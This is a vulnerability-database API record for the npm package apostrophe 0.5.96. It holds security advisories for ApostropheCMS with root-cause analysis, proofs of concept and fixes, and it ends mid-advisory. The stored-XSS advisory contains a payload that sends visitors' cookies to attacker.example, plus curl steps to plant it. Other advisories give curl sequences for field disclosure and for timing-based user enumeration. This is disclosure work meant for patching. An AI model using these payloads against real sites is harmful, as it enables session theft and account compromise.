Package Instance
Lookup for vulnerable packages by Package URL.
GET /api/packages/268183?format=api
{ "url": "http://public2.vulnerablecode.io/api/packages/268183?format=api", "purl": "pkg:npm/apostrophe@0.5.96", "type": "npm", "namespace": "", "name": "apostrophe", "version": "0.5.96", "qualifiers": {}, "subpath": "", "is_vulnerable": true, "next_non_vulnerable_version": "4.29.0", "latest_non_vulnerable_version": "4.29.0", "affected_by_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/89391?format=api", "vulnerability_id": "VCID-4twt-e5vw-m3em", "summary": "ApostropheCMS: Stored XSS via CSS Custom Property Injection in @apostrophecms/color-field Escaping Style Tag Context\n## Summary\n\nThe `@apostrophecms/color-field` module bypasses color validation for values prefixed with `--` (intended for CSS custom properties), but performs no HTML sanitization on these values. When styles containing attacker-controlled color values are rendered into `<style>` tags — both in the global stylesheet (editors only) and in per-widget style elements (all visitors) — the lack of escaping allows an editor to inject `</style>` followed by arbitrary HTML/JavaScript, achieving stored XSS against all site visitors.\n\n## Details\n\n**Root Cause 1: Validation bypass in color field** (`modules/@apostrophecms/color-field/index.js:36`)\n\nThe color field's `convert` method uses TinyColor to validate color values, but exempts any value starting with `--`:\n\n```javascript\n// modules/@apostrophecms/color-field/index.js:26-38\nasync convert(req, field, data, destination) {\n destination[field.name] = self.apos.launder.string(data[field.name]);\n // ...\n const test = new TinyColor(destination[field.name]);\n if (!test.isValid && !destination[field.name].startsWith('--')) {\n destination[field.name] = null;\n }\n},\n```\n\nA value like `--x: red}</style><script>alert(document.cookie)</script><style>` passes validation because it starts with `--`. The `launder.string()` call performs type coercion only — it does not strip HTML metacharacters like `<`, `>`, or `/`.\n\n**Root Cause 2a: Unescaped rendering in widget styles (public path)** (`modules/@apostrophecms/styles/lib/methods.js:232-234`)\n\nThe `getWidgetElements()` method concatenates the CSS string directly into a `<style>` tag:\n\n```javascript\n// modules/@apostrophecms/styles/lib/methods.js:232-234\nreturn `<style data-apos-widget-style-for=\"${widgetId}\" data-apos-widget-style-id=\"${styleId}\">\\n` +\n css +\n '\\n</style>';\n```\n\nThis is then marked as safe HTML via `template.safe()` in the helpers (`modules/@apostrophecms/styles/lib/helpers.js:17-20`), and rendered for **all visitors** on any page containing a styled widget (`modules/@apostrophecms/widget-type/index.js:426-432`).\n\n**Root Cause 2b: Unescaped rendering in global stylesheet (editor path)** (`modules/@apostrophecms/template/index.js:1164-1165`)\n\nThe `renderNodes()` function returns `node.raw` without escaping:\n\n```javascript\n// modules/@apostrophecms/template/index.js:1164-1165\nif (node.raw != null) {\n return node.raw;\n}\n```\n\nStyle nodes containing the malicious color values are rendered as raw HTML, affecting editors and admins who can `view-draft`.\n\n## PoC\n\n**Prerequisites:** An account with `editor` role on an Apostrophe 4.x instance. The site must have at least one piece or page type with a color field used in styles configuration.\n\n**Step 1: Authenticate and obtain a CSRF token and session cookie.**\n\n```bash\n# Login as editor\nCOOKIE_JAR=$(mktemp)\ncurl -s -c \"$COOKIE_JAR\" -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \\\n -H \"Content-Type: application/json\" \\\n -d '{\"username\":\"editor\",\"password\":\"editor123\"}'\n\n# Extract CSRF token\nCSRF=$(curl -s -b \"$COOKIE_JAR\" http://localhost:3000/api/v1/@apostrophecms/i18n/locale/en | grep -o '\"csrfToken\":\"[^\"]*\"' | cut -d'\"' -f4)\n```\n\n**Step 2: Create or update a piece/page with a malicious color value in a styled widget.**\n\nThe exact API route depends on the site's widget configuration. For a widget type that uses a color field in its styles schema (e.g., a `background-color` style property):\n\n```bash\n# Inject XSS payload via color field in widget styles\n# The --x prefix bypasses TinyColor validation\nPAYLOAD='--x: red}</style><img src=x onerror=\"fetch(`https://attacker.example/steal?c=`+document.cookie)\"><style>'\n\ncurl -s -b \"$COOKIE_JAR\" -X POST \\\n \"http://localhost:3000/api/v1/@apostrophecms/page\" \\\n -H \"Content-Type: application/json\" \\\n -H \"X-XSRF-TOKEN: $CSRF\" \\\n -d '{\n \"slug\": \"/xss-test\",\n \"title\": \"Test Page\",\n \"type\": \"default-page\",\n \"main\": {\n \"items\": [{\n \"type\": \"some-widget\",\n \"styles\": {\n \"backgroundColor\": \"'\"$PAYLOAD\"'\"\n }\n }]\n }\n }'\n```\n\n**Step 3: Publish the page.**\n\n```bash\ncurl -s -b \"$COOKIE_JAR\" -X POST \\\n \"http://localhost:3000/api/v1/@apostrophecms/page/{pageId}/publish\" \\\n -H \"X-XSRF-TOKEN: $CSRF\"\n```\n\n**Step 4: Any visitor navigates to the published page.**\n\n```bash\n# As an unauthenticated visitor\ncurl -s http://localhost:3000/xss-test | grep -A2 'onerror'\n```\n\n**Expected (safe):** The color value is escaped or rejected.\n\n**Actual:** The rendered HTML contains:\n\n```html\n<style data-apos-widget-style-for=\"...\" data-apos-widget-style-id=\"...\">\n.apos-widget-style-... { background-color: --x: red}</style><img src=x onerror=\"fetch(`https://attacker.example/steal?c=`+document.cookie)\"><style>; }\n</style>\n```\n\nThe injected `</style>` closes the style tag, and the `<img onerror>` executes JavaScript in the visitor's browser.\n\n## Impact\n\n- **Stored XSS on public pages (Path B):** An editor can inject JavaScript that executes for **every visitor** to any page containing the affected widget. This enables mass cookie theft, session hijacking, keylogging, phishing overlays, and drive-by malware delivery against the site's entire audience.\n- **Privilege escalation (Path A):** An editor can steal admin session tokens from higher-privileged users viewing draft content, escalating to full administrative control of the CMS.\n- **Persistence:** The payload is stored in the database and survives restarts. It executes on every page load until the content is manually edited.\n- **No CSP mitigation:** Apostrophe does not enforce a strict Content-Security-Policy by default, so inline script execution is not blocked.\n\n## Recommended Fix\n\n**Fix 1: Sanitize color values in the color field's `convert` method** (`modules/@apostrophecms/color-field/index.js`):\n\n```javascript\n// Before (line 36):\nif (!test.isValid && !destination[field.name].startsWith('--')) {\n destination[field.name] = null;\n}\n\n// After:\nif (!test.isValid && !destination[field.name].startsWith('--')) {\n destination[field.name] = null;\n} else if (destination[field.name].startsWith('--')) {\n // CSS custom property names: only allow alphanumeric, hyphens, underscores\n if (!/^--[a-zA-Z0-9_-]+$/.test(destination[field.name])) {\n destination[field.name] = null;\n }\n}\n```\n\n**Fix 2: Escape CSS output in `getWidgetElements`** (`modules/@apostrophecms/styles/lib/methods.js`):\n\n```javascript\n// Before (line 232-234):\nreturn `<style data-apos-widget-style-for=\"${widgetId}\" data-apos-widget-style-id=\"${styleId}\">\\n` +\n css +\n '\\n</style>';\n\n// After:\nconst sanitizedCss = css.replace(/<\\//g, '<\\\\/');\nreturn `<style data-apos-widget-style-for=\"${widgetId}\" data-apos-widget-style-id=\"${styleId}\">\\n` +\n sanitizedCss +\n '\\n</style>';\n```\n\nBoth fixes should be applied: Fix 1 provides input validation (defense in depth at the data layer), and Fix 2 provides output encoding (preventing style tag breakout regardless of the input source).", "references": [ { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33889", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00014", "scoring_system": "epss", "scoring_elements": "0.02584", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33889" }, { "reference_url": "https://github.com/apostrophecms/apostrophe", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/apostrophecms/apostrophe" }, { "reference_url": "https://github.com/apostrophecms/apostrophe/commit/6a89bdb7acdb2e1e9bf1429961a6ba7f99410481", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-16T11:26:46Z/" } ], "url": "https://github.com/apostrophecms/apostrophe/commit/6a89bdb7acdb2e1e9bf1429961a6ba7f99410481" }, { "reference_url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-97v6-998m-fp4g", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-16T11:26:46Z/" } ], "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-97v6-998m-fp4g" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33889", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33889" }, { "reference_url": "https://github.com/advisories/GHSA-97v6-998m-fp4g", "reference_id": "GHSA-97v6-998m-fp4g", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-97v6-998m-fp4g" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/110566?format=api", "purl": "pkg:npm/apostrophe@4.29.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/apostrophe@4.29.0" } ], "aliases": [ "CVE-2026-33889", "GHSA-97v6-998m-fp4g" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-4twt-e5vw-m3em" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/89502?format=api", "vulnerability_id": "VCID-5tyh-bvgy-nuhe", "summary": "ApostropheCMS: Information Disclosure via choices/counts Query Parameters Bypassing publicApiProjection Field Restrictions\n## Summary\n\nThe `choices` and `counts` query parameters in the Apostrophe CMS REST API allow unauthenticated users to extract distinct field values for any schema field that has a registered query builder, completely bypassing `publicApiProjection` restrictions that are intended to limit which fields are exposed publicly. Fields protected by `viewPermission` are similarly exposed.\n\n## Details\n\nWhen a piece type configures `publicApiProjection` to enable public API access while restricting visible fields, the restriction is enforced via a MongoDB projection on the main query (piece-type/index.js:1130-1134). However, the `choices` and `counts` query builders bypass this protection through a separate code path.\n\nThe vulnerable flow:\n\n1. `getRestQuery` at piece-type/index.js:1120 calls `applyBuildersSafely(req.query)` (line 1122), which processes query parameters including `choices` and `counts` since both have `launder` methods (doc-type/index.js:2627-2628 and 2675-2676).\n\n2. The `publicApiProjection` is applied afterward (line 1130-1134) as a MongoDB projection on the main query.\n\n3. During query execution, the `choices` builder's `after` handler (doc-type/index.js:2636-2668) iterates over requested field names. The only validation is:\n - The field has a registered builder (`_.has(query.builders, filter)` at line 2651)\n - The builder has a `launder` method (line 2656)\n\n All schema field types (string, integer, float, select, boolean, date, slug, relationship) register query builders with `launder` methods via `addQueryBuilder` in `addFieldTypes.js`.\n\n4. `toChoices` (line 2661) calls the field's `choices` function, which typically calls `sortedDistinct` → `toDistinct`. The `toDistinct` method (doc-type/index.js:2811) executes `db.distinct(property, criteria)` — a MongoDB operation that returns all distinct values for the given property matching the criteria. **MongoDB's `distinct` operation does not respect projections**; it operates directly on the specified field regardless of any projection set on the query.\n\n5. The results are stored via `query.set('choicesResults', choices)` (line 2666) and returned directly in the API response at piece-type/index.js:292-296 without any filtering against `publicApiProjection` or `removeForbiddenFields`.\n\nThe same bypass applies to `viewPermission`-protected fields: `removeForbiddenFields` (doc-type/index.js:1585-1611) only processes document results from `toArray()`, not the separate choices/counts data.\n\nThe page REST API has the same issue at page/index.js:371-376.\n\n## PoC\n\n```bash\n# Prerequisites:\n# - An Apostrophe 4.x instance with a piece type configured with publicApiProjection\n# - Example: an 'article' piece type with:\n# publicApiProjection: { title: 1, slug: 1, _url: 1 }\n# and additional schema fields like 'status' (select), 'priority' (integer),\n# or 'internalNotes' (string) NOT in the projection\n\n# 1. Verify normal API access only returns projected fields\ncurl -s 'http://localhost:3000/api/v1/article' | python3 -m json.tool\n# Response results contain only: title, slug, _url (as configured)\n\n# 2. Extract distinct values of a non-projected field via choices\ncurl -s 'http://localhost:3000/api/v1/article?choices=status' | python3 -m json.tool\n# Response includes:\n# \"choices\": {\"status\": [{\"value\": \"draft\", \"label\": \"draft\"}, {\"value\": \"published\", \"label\": \"published\"}, ...]}\n\n# 3. Extract distinct values with document counts via counts\ncurl -s 'http://localhost:3000/api/v1/article?counts=priority' | python3 -m json.tool\n# Response includes:\n# \"counts\": {\"priority\": [{\"value\": 1, \"label\": \"1\", \"count\": 15}, {\"value\": 2, \"label\": \"2\", \"count\": 8}, ...]}\n\n# 4. Multiple fields can be extracted at once\ncurl -s 'http://localhost:3000/api/v1/article?choices=status,priority,internalNotes'\n```\n\n## Impact\n\n- **Distinct field values leaked**: An unauthenticated attacker can extract all distinct values of any schema field on any piece type that has `publicApiProjection` configured, even when those fields are explicitly excluded from the projection.\n- **Field types affected**: All field types that register query builders: string, slug, integer, float, select, boolean, date, and relationship fields.\n- **Count disclosure**: The `counts` variant additionally reveals how many documents have each distinct value, providing statistical information about the dataset.\n- **viewPermission bypass**: Fields protected with `viewPermission` (intended for role-based field access) are also exposed via this path.\n- **Both APIs affected**: The piece-type REST API (piece-type/index.js:292-296) and page REST API (page/index.js:371-376) are both vulnerable.\n- **Real-world impact**: If a CMS stores sensitive data in schema fields (e.g., internal status values, priority levels, internal categories, user-facing content marked as restricted), all distinct values are extractable by any unauthenticated visitor.\n\n## Recommended Fix\n\nIn the `choices` builder's `after` handler (doc-type/index.js:2636-2668), add validation to skip fields not permitted by `publicApiProjection` and `viewPermission`:\n\n```javascript\n// doc-type/index.js, in the choices builder's after handler (line 2644 area)\nfor (const filter of filters) {\n if (!_.has(query.builders, filter)) {\n continue;\n }\n if (!query.builders[filter].launder) {\n continue;\n }\n\n // NEW: Enforce publicApiProjection restrictions on choices/counts\n const publicApiProjection = query.get('project');\n if (publicApiProjection && !publicApiProjection[filter]) {\n continue;\n }\n\n // NEW: Enforce viewPermission field restrictions\n const field = self.schema.find(f => f.name === filter);\n if (field && field.viewPermission &&\n !self.apos.permission.can(query.req, field.viewPermission.action, field.viewPermission.type)) {\n continue;\n }\n\n const _query = baseQuery.clone();\n _query[filter](null);\n choices[filter] = await _query.toChoices(filter, { counts: query.get('counts') });\n}\n```\n\nAdditionally, apply the same fix in the page REST API handler (page/index.js) for consistency.", "references": [ { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-39857", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00031", "scoring_system": "epss", "scoring_elements": "0.09297", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-39857" }, { "reference_url": "https://github.com/apostrophecms/apostrophe", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/apostrophecms/apostrophe" }, { "reference_url": "https://github.com/apostrophecms/apostrophe/commit/6c2b548dec2e3f7a82e8e16736603f4cd17525aa", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-16T13:40:14Z/" } ], "url": "https://github.com/apostrophecms/apostrophe/commit/6c2b548dec2e3f7a82e8e16736603f4cd17525aa" }, { "reference_url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-c276-fj82-f2pq", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-16T13:40:14Z/" } ], "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-c276-fj82-f2pq" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39857", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39857" }, { "reference_url": "https://github.com/advisories/GHSA-c276-fj82-f2pq", "reference_id": "GHSA-c276-fj82-f2pq", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-c276-fj82-f2pq" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/110566?format=api", "purl": "pkg:npm/apostrophe@4.29.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/apostrophe@4.29.0" } ], "aliases": [ "CVE-2026-39857", "GHSA-c276-fj82-f2pq" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-5tyh-bvgy-nuhe" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/53191?format=api", "vulnerability_id": "VCID-5v79-remg-7ub4", "summary": "Denial of Service in apostrophe\nVersions of `apostrophe` prior to 2.97.1 are vulnerable to Denial of Service. The `apostrophe-jobs` module sets a callback for incoming jobs and doesn't clear it regardless of its status. This causes the server to accumulate callbacks, allowing an attacker to start a large number of jobs and exhaust system memory.\n\n\n## Recommendation\n\nUpgrade to version 2.97.1 or later.", "references": [ { "reference_url": "https://www.npmjs.com/advisories/1183", "reference_id": "", "reference_type": "", "scores": [ { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://www.npmjs.com/advisories/1183" }, { "reference_url": "https://github.com/advisories/GHSA-pv6r-vchh-cxg9", "reference_id": "GHSA-pv6r-vchh-cxg9", "reference_type": "", "scores": [ { "value": "LOW", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-pv6r-vchh-cxg9" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/78225?format=api", "purl": "pkg:npm/apostrophe@2.97.1", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-4twt-e5vw-m3em" }, { "vulnerability": "VCID-5tyh-bvgy-nuhe" }, { "vulnerability": "VCID-82j4-a56g-3kbq" }, { "vulnerability": "VCID-a7rh-r1sn-2udh" }, { "vulnerability": "VCID-dsd6-hfud-ekfs" }, { "vulnerability": "VCID-ewtn-suju-dyeb" }, { "vulnerability": "VCID-h7q4-v6us-9ye4" }, { "vulnerability": "VCID-tm23-2xhx-87hc" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/apostrophe@2.97.1" } ], "aliases": [ "GHSA-pv6r-vchh-cxg9", "GMS-2020-705" ], "risk_score": 1.4, "exploitability": "0.5", "weighted_severity": "2.7", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-5v79-remg-7ub4" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/89506?format=api", "vulnerability_id": "VCID-a7rh-r1sn-2udh", "summary": "ApostropheCMS: User Enumeration via Timing Side Channel in Password Reset Endpoint\n## Summary\n\nThe password reset endpoint (`/api/v1/@apostrophecms/login/reset-request`) exhibits a measurable timing side channel that allows unauthenticated attackers to enumerate valid usernames and email addresses. When a user is not found, the handler returns after a fixed 2-second artificial delay, but when a valid user is found, it performs database writes and SMTP operations with no equivalent delay normalization, producing a distinguishable timing profile.\n\n## Details\n\nThe `resetRequest` handler in `modules/@apostrophecms/login/index.js` attempts to obscure the user-not-found path with an artificial delay, but fails to normalize the timing of the user-found path:\n\n**User not found — fixed 2000ms delay** (`index.js:309-314`):\n```javascript\nif (!user) {\n await wait(); // wait = (t = 2000) => Promise.delay(t)\n self.apos.util.error(\n `Reset password request error - the user ${email} doesn\\`t exist.`\n );\n return;\n}\n```\n\n**User found — variable-duration DB + SMTP operations, no artificial delay** (`index.js:323-355`):\n```javascript\nconst reset = self.apos.util.generateId();\nuser.passwordReset = reset;\nuser.passwordResetAt = new Date();\nawait self.apos.user.update(req, user, { permissions: false });\n// ... URL construction ...\nawait self.email(req, 'passwordResetEmail', {\n user,\n url: parsed.toString(),\n site\n}, {\n to: user.email,\n subject: req.t('apostrophe:passwordResetRequest', { site })\n});\n```\n\nThe user-found path includes a MongoDB `update()` call and an SMTP `email()` send, which together produce response times that differ measurably from the fixed 2000ms delay. Depending on SMTP server latency, responses for valid users will either be noticeably faster (local/fast SMTP) or slower (remote SMTP) than the constant 2-second delay for invalid users.\n\nAdditionally, the `getPasswordResetUser` method (`index.js:664-666`) accepts both username and email via an `$or` query, enabling enumeration of both identifiers:\n```javascript\nconst criteriaOr = [\n { username: email },\n { email }\n];\n```\n\nThere is no rate limiting on the reset endpoint. The `checkLoginAttempts` throttle (`index.js:978`) is only applied to the login flow, allowing unlimited rapid probing of the reset endpoint.\n\n## PoC\n\n**Prerequisites:** An Apostrophe instance with `passwordReset: true` enabled in `@apostrophecms/login` configuration.\n\n**Step 1 — Baseline invalid user timing:**\n```bash\nfor i in $(seq 1 10); do\n curl -s -o /dev/null -w \"%{time_total}\\n\" \\\n -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \\\n -H \"Content-Type: application/json\" \\\n -d '{\"email\": \"nonexistent-user-'$i'@example.com\"}'\ndone\n# Expected: all responses cluster tightly around 2.0xx seconds\n```\n\n**Step 2 — Test known valid user:**\n```bash\nfor i in $(seq 1 10); do\n curl -s -o /dev/null -w \"%{time_total}\\n\" \\\n -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \\\n -H \"Content-Type: application/json\" \\\n -d '{\"email\": \"admin\"}'\ndone\n# Expected: response times differ from 2.0s baseline (faster with local SMTP, slower with remote SMTP)\n```\n\n**Step 3 — Statistical comparison:**\nThe two distributions will show a measurable divergence. With a local mail server, valid-user responses typically complete in <500ms. With a remote SMTP server, valid-user responses may take 3-5+ seconds. Either way, the timing is distinguishable from the fixed 2000ms invalid-user delay.\n\n## Impact\n\n- **Account enumeration:** An unauthenticated attacker can determine whether a given username or email address has an account in the Apostrophe instance.\n- **Credential stuffing preparation:** Confirmed valid accounts can be targeted with credential stuffing attacks using breached password databases.\n- **Phishing targeting:** Knowledge of valid accounts enables targeted phishing campaigns against confirmed users.\n- **No rate limiting:** The absence of throttling on the reset endpoint allows high-speed automated enumeration.\n- **Mitigating factor:** The `passwordReset` option defaults to `false` (`index.js:62`), so only instances that explicitly enable password reset are affected.\n\n## Recommended Fix\n\nNormalize all code paths to a constant minimum duration, ensuring the response time does not leak whether a user was found:\n\n```javascript\nasync resetRequest(req) {\n const MIN_RESPONSE_TIME = 2000;\n const startTime = Date.now();\n const site = (req.headers.host || '').replace(/:\\d+$/, '');\n const email = self.apos.launder.string(req.body.email);\n if (!email.length) {\n throw self.apos.error('invalid', req.t('apostrophe:loginResetEmailRequired'));\n }\n let user;\n try {\n user = await self.getPasswordResetUser(req.body.email);\n } catch (e) {\n self.apos.util.error(e);\n }\n if (!user) {\n self.apos.util.error(\n `Reset password request error - the user ${email} doesn\\`t exist.`\n );\n } else if (!user.email) {\n self.apos.util.error(\n `Reset password request error - the user ${user.username} doesn\\`t have an email.`\n );\n } else {\n const reset = self.apos.util.generateId();\n user.passwordReset = reset;\n user.passwordResetAt = new Date();\n await self.apos.user.update(req, user, { permissions: false });\n let port = (req.headers.host || '').split(':')[1];\n if (!port || [ '80', '443' ].includes(port)) {\n port = '';\n } else {\n port = `:${port}`;\n }\n const parsed = new URL(\n req.absoluteUrl,\n self.apos.baseUrl\n ? undefined\n : `${req.protocol}://${req.hostname}${port}`\n );\n parsed.pathname = self.login();\n parsed.search = '?';\n parsed.searchParams.append('reset', reset);\n parsed.searchParams.append('email', user.email);\n try {\n await self.email(req, 'passwordResetEmail', {\n user,\n url: parsed.toString(),\n site\n }, {\n to: user.email,\n subject: req.t('apostrophe:passwordResetRequest', { site })\n });\n } catch (err) {\n self.apos.util.error(`Error while sending email to ${user.email}`, err);\n }\n }\n // Pad all paths to a constant minimum duration\n const elapsed = Date.now() - startTime;\n if (elapsed < MIN_RESPONSE_TIME) {\n await Promise.delay(MIN_RESPONSE_TIME - elapsed);\n }\n},\n```\n\nAdditionally, consider applying rate limiting to the `reset-request` endpoint to prevent high-speed enumeration attempts.", "references": [ { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33877", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00029", "scoring_system": "epss", "scoring_elements": "0.08861", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33877" }, { "reference_url": "https://github.com/apostrophecms/apostrophe", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/apostrophecms/apostrophe" }, { "reference_url": "https://github.com/apostrophecms/apostrophe/commit/e266cffd8c0d331a9b05c92bf11616556efcdc77", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-15T19:30:48Z/" } ], "url": "https://github.com/apostrophecms/apostrophe/commit/e266cffd8c0d331a9b05c92bf11616556efcdc77" }, { "reference_url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-mj7r-x3h3-7rmr", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-15T19:30:48Z/" } ], "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-mj7r-x3h3-7rmr" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33877", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33877" }, { "reference_url": "https://github.com/advisories/GHSA-mj7r-x3h3-7rmr", "reference_id": "GHSA-mj7r-x3h3-7rmr", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-mj7r-x3h3-7rmr" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/110566?format=api", "purl": "pkg:npm/apostrophe@4.29.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/apostrophe@4.29.0" } ], "aliases": [ "CVE-2026-33877", "GHSA-mj7r-x3h3-7rmr" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-a7rh-r1sn-2udh" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/90294?format=api", "vulnerability_id": "VCID-ewtn-suju-dyeb", "summary": "ApostropheCMS: publicApiProjection Bypass via project Query Builder in Piece-Type REST API\n## Summary\n\nThe `getRestQuery` method in the `@apostrophecms/piece-type` module checks whether a MongoDB projection has already been set before applying the admin-configured `publicApiProjection`. An unauthenticated attacker can supply a `project` query parameter in the REST API request to pre-populate the projection state, causing the security-enforced `publicApiProjection` to be skipped entirely. This allows disclosure of fields that the site administrator explicitly restricted from public access.\n\n## Details\n\nWhen an unauthenticated user queries the piece-type REST API, the `getRestQuery` method processes the request at `modules/@apostrophecms/piece-type/index.js:1120`:\n\n```javascript\n// piece-type/index.js:1120-1137\ngetRestQuery(req, omitPermissionCheck = false) {\n const query = self.find(req).attachments(true);\n query.applyBuildersSafely(req.query); // [1] attacker input applied first\n if (!omitPermissionCheck && !self.canAccessApi(req)) {\n if (!self.options.publicApiProjection) {\n query.and({\n _id: null\n });\n } else if (!query.state.project) { // [2] checks if projection already set\n query.project({\n ...self.options.publicApiProjection,\n cacheInvalidatedAt: 1\n });\n }\n }\n return query;\n},\n```\n\nAt **[1]**, `applyBuildersSafely` iterates over all query string parameters and invokes 